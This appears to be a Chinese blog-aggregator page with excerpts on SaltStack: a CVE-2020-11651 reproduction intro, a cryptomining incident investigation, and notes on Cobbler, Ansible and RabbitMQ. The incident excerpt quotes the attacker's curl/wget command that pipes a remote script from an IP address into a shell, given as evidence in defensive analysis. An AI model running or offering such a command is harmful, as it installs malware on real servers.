saltstack

SaltStack认证绕过复现(CVE-2020-11651)

只愿长相守 提交于 2020-07-29 00:49:44
0x01简介 Saltstack是一个服务器基础架构集中化管理平台,具备配置管理、远程执行、监控等功能,可以理解为简化版的puppet,它基于python语言实现,结合轻量级消息队列(ZeroMQ)与python第三方模块构建。具备以下特点: 部署简单、方便 支持大部分UNIX/Linux及Windows环境 主从集中化管理 配置简单、功能强大、扩展性强 主控端和被控制端基于证书认证,安全可靠 支持API及自定义模块,可通过python轻松扩展 0x02漏洞简介 在 CVE-2020-11651 认证绕过漏洞中,攻机者通过构造恶意请求,可以绕过 Salt Master 的验证逻辑,调用相关未授权函数功能,从而可以造成远程命令执行漏洞: 漏洞由ClearFuncs类引起,该类无意中暴露了_send_pub()和_prep_auth_info()方法。未经身份验证的远程攻机者通过发送特制的请求可在minion端服务器上执行任意命令,还能够提取根密钥来调用master端服务器上的管理命令。 0x03影响版本 SaltStack < 2019.2.4 SaltStack < 3000.2 0x04环境搭建 在这里就直接使用vulhub进行搭建 1.下载地址:git clone https://github.com/vulhub/vulhub.git 2.cd /vulhub

Cobbler

陌路散爱 提交于 2020-07-28 02:04:42
1. cobbler简介 cobbler官网: http://cobbler.github.io/ Cobbler是一个Linux服务器安装的服务,可以通过网络启动(PXE)的方式来快速安装、重装物理服务器和虚拟机,同时还可以管理DHCP,DNS等。 Cobbler可以使用命令行方式管理,也提供了基于Web的界面管理工具(cobbler-web),还提供了API接口,可以方便二次开发使用。 Cobbler是较早前的kickstart的升级版,优点是比较容易配置,还自带web界面比较易于管理。 Cobbler内置了一个轻量级配置管理系统,但它也支持和其它配置管理系统集成,如Puppet,暂时不支持SaltStack。 2、cobbler集成的服务 PXE服务支持 DHCP服务管理 DNS服务管理(可选bind,dnsmasq) 电源管理 Kickstart服务支持 YUM仓库管理 TFTP(PXE启动时需要) Apache(提供kickstart的安装源,并提供定制化的kickstart配置) 3、cobbler配置文件详解 cobbler配置文件目录在/etc/cobbler 配置文件 作用 /etc/cobbler/settings cobbler 主配置文件 /etc/cobbler/iso/ iso模板配置文件 /etc/cobbler/pxe pxe模板配置文件 /etc

SaltStack Job 管理 及 saltutil.signal_job 模块的问题

我的未来我决定 提交于 2020-05-07 10:59:26
原文链接: http://www.huangdc.com/66 1、什么是 Job 在salt 中,每次执行一次salt命令就会产生一个Job ,Salt 实时管理的任务都是作为Job来执行的;在maste执行一次salt 命令,minion 就会产生一个唯一的 job id ,job id 可以在minion 机器 /var/cache/salt/minion/proc/ 查看 ,我们可以通过 job id 获取到job 的执行状态等信息 例如,测试环境如下: master : 192.168.202.72 minion : 192.168.201.37 我们在master 执行一个命令: salt '192.168.201.37' cmd.run "sh /root/dc.sh" ## minion 的脚本:(为方便测试及查看,dc.sh 脚本做了 sleep 50s) [root@localhost ~]# cat /root/dc.sh #!/bin/sh i=1 while (($i<50)) ; do echo "$i" let ++i sleep 1 done ## master 执行: [root@local200-72 ~]# salt '192.168.201.37' cmd.run "sh /root/dc.sh" ## minion 查看: [root

SaltStack漏洞导致的挖矿排查思路

耗尽温柔 提交于 2020-05-06 15:31:42
描述 SaltStack 是一套 C/S 架构的运维工具,服务端口默认为 4505 / 4506 ,两个端口如果对外网开放危害非常大,黑客利用 SaltStack 的远程命令执行漏洞 CVE-2020-11651 可以直接绕过 Salt-Master 的认证机制,调用相关函数向 Salt-Minion 下发指令执行系统命令,最终导致挖矿。 现象 受害 Salt-Minion 机器上存在挖矿进程 salt-minions 。 tmp 目录下存在可疑二进制文件: salt-store salt-minions 排查 确定所有 salt-master 机器列表; 查看当天 salt-master 的日志文件 /var/log/salt/minion ,是否存在可疑命令执行,筛选 cmdmod : 找到可疑的命令执行内容: (curl -s 217.12.210.192/sa.sh||wget -q -O- 217.12.210.192/sa.sh)|sh 确认 SaltStack 版本,是否存在漏洞 CVE-2020-11651 。 样本分析 共三个样本: 文件名 MD5 sa.sh 204780df7dd946401d6e545a130689fb salt-store 8ec3385e20d6d9a88bc95831783beaeb salt-minions

RabbitMQ、RPC、SaltStack "贡"具的使用

谁说胖子不能爱 提交于 2020-04-27 21:46:03
消息队列 使用队列的场景 在程序系统中,例如外卖系统,订单系统,库存系统,优先级较高 发红包,发邮件,发短信,app消息推送等任务优先级很低,很适合交给消息队列去处理,以便于程序系统更快的处理其他请求。 消息队列工作流程 # 消息队列一般有三个角色: 队列服务端 队列生产者 队列消费者 队列产品 RabbitMQ Erlang编写的消息队列产品,企业级消息队列软件,支持消息负载均衡,数据持久化等。 ZeroMQ saltstack软件使用此消息,速度最快。 Redis key-value的系统,也支持队列数据结构,轻量级消息队列 Kafka 由Scala编写,目标是为处理实时数据提供一个统一、高通量、低等待的平台 消息队列作用 1)程序解耦 允许你独立的扩展或修改两边的处理过程,只要确保它们遵守同样的接口约束。 2)冗余: 消息队列把数据进行持久化直到它们已经被完全处理,通过这一方式规避了数据丢失风险。 许多消息队列所采用的"插入-获取-删除"范式中,在把一个消息从队列中删除之前,需要你的处理系统明确的指出该消息已经被处理完毕,从而确保你的数据被安全的保存直到你使用完毕。 3)峰值处理能力: (大白话,就是本来公司业务只需要5台机器,但是临时的秒杀活动,5台机器肯定受不了这个压力,我们又不可能将整体服务器架构提升到10台,那在秒杀活动后,机器不就浪费了吗?因此引入消息队列)

Ansible 手册系列 一(介绍)

两盒软妹~` 提交于 2020-04-26 18:03:22
一 介绍 Ansible 是一个配置管理和应用部署工具,功能类似于目前业界的配置管理工具 Chef,Puppet,Saltstack。Ansible 是通过 Python 语言开发。Ansible 平台由 Michael DeHaan 创建,他同时也是知名软件 Cobbler 与 Func 的作者。Ansible 的第一个版本发布于 2012 年 2 月,相比较其它同类产品来说,Ansible 还是非常年轻的,但这并不影响他的蓬勃发展与大家对他的热爱。 Ansible 默认通过 SSH 协议管理机器,所以 Ansible 不需要安装客户端程序在服务器上。您只需要将 Ansible 安装在一台服务器,在 Ansible 安装完后,您就可以去管理控制其它服务器。不需要为它配置数据库,Ansible 不会以 daemons 方式来启动或保持运行状态。 Ansible 的目标有如下: • 自动化部署应用 • 自动化管理配置 • 自动化的持续交付 • 自动化的(AWS)云服务管理。 根据 Ansible 官方提供的信息,当前使用 Ansible 的用户有:evernote、rackspace、NASA、Atlassian、twitter 等。 Ansible是怎么工作的 从上图可以看出,运行ansible的先决条件是,安装ansible到管理节点,定义主机清单,并有一些playbooks定义

SaltStack 批量操作Windows

浪尽此生 提交于 2020-04-11 13:19:16
一、基础环境 [root@BJ-SaltStack-Node1 ~]# cat /etc/redhat-release CentOS Linux release 7.7.1908 (Core) [root@BJ-SaltStack-Node1 ~]# python --version Python 2.7.5 二、SaltSatck 安装 完全按照官方文档来即可。 https://repo.saltstack.com/2018.3.html#rhel 三、Master 配置文件 默认配置即可正常工作。 [root@BJ-SaltStack-Node1 ~]# cat /etc/salt/master | grep -v ^# |grep -v ^$ default_include: master.d/*.conf file_roots: base: - /srv/salt dev: - /srv/salt/dev/services - /srv/salt/dev/states prod: - /srv/salt/prod/services - /srv/salt/prod/states salt-minion 安装略。 四、通过cmd模块操作windows 1.先看下cmd模块包含哪些方法 [root@BJ-SaltStack-Node1 ~]# salt 'BJ-WJ-T-DCS

SaltStack部署服务及配置管理apache+php-第二篇

倾然丶 夕夏残阳落幕 提交于 2020-03-31 07:59:38
实验目标 1.使用SaltStack部署apache和php, 2.使用salt管理httpd.conf配置文件配置访问info.php使用账户密码 3.在salt里面增加对conf.d目录进行配置管理 4.如何使用salt在追加文件内容 5.学会如何使用 watch require unless 实现步骤 修改master的配置文件,指定base环境路径,base环境是必须指定的 [root@linux-node1 base]# grep -9 ^file_roots /etc/salt/master |grep -v ^# file_roots: base: - /srv/salt/base dev: - /srv/salt/dev test: - /srv/salt/test prod: - /srv/salt/prod 创建目录 [root@linux-node1 base]# mkdir -p /srv/salt/{base,dev,test,prod} [root@linux-node1 base]# tree /srv/salt/ /srv/salt/ ├── base ├── dev ├── prod └── test 重启master [root@linux-node1 base]# systemctl restart salt-master

saltstack简单使用

混江龙づ霸主 提交于 2020-03-28 00:32:04
安装, 官方文档 配置阿里云的saltstack镜像仓库 主安装salt-master salt-minion salt-api 从安装salt-minion 关闭防火墙 或者打开端口 firewall firewall-cmd --permanent --zone=public --add-port=4505-4506/tcp firewall-cmd --reload or iptables -A INPUT -m state --state new -m tcp -p tcp --dport 4505:4506 -j ACCEPT 启动服务 systemctl start salt-master systemctl start salt-minion systemctl enable salt-master systemctl enable salt-minion 配置, 官方文档 master master配置详解 配置监听端口 /etc/salt/master --> interface 配置accept public keys from minion /etc/salt/master --> auto_accept 或者手动允许minion key salt-key # 查看keys 也可以使用salt-key -L salt-key -A # 通过所有key

SaltStack介绍

做~自己de王妃 提交于 2020-03-22 18:24:56
一. SaltStack是什么 SaltStack是一个配置管理系统,能够维护预定义状态的远程节点 SaltStack是一个分布式远程执行系统,用来在远程节点上执行命令和查询数据 SaltStack特点: 1.简单(相对于Puppet) 2.并行执行 3.基于成熟的技术(ZeroMQ(通信),AES(数据加密)) 4. Python API 5. 灵活,开放 二. SaltStack的服务架构 1. Master:负责管理所有节点 2. Minion:(相当于客户端)节点服务 3. ZeroMQ:通信服务 4. AES:数据加密方法 三. SaltStack的优缺点 缺点: 1. 需要单独安装客户端 2. 安全隐患大 四. 了解ZeroMQ ZeroMQ以嵌入式网络编程库的形式实现了一个并行开发框架,能够提供进程内,进程间,网络和广播方式的消息信道,并支持扇出、发布—订阅,任务分发、请求/响应等通信模式。 五. SaltStack安装配置运行 1. SaltStack安装 依赖:python2.6~python3.0,ZeroMQ or RAET,mako(可选):一个可选的Salt States解析器;gcc(可选) MacOS 安装方法:brew install saltstack sudo port install salt sudo pip install salt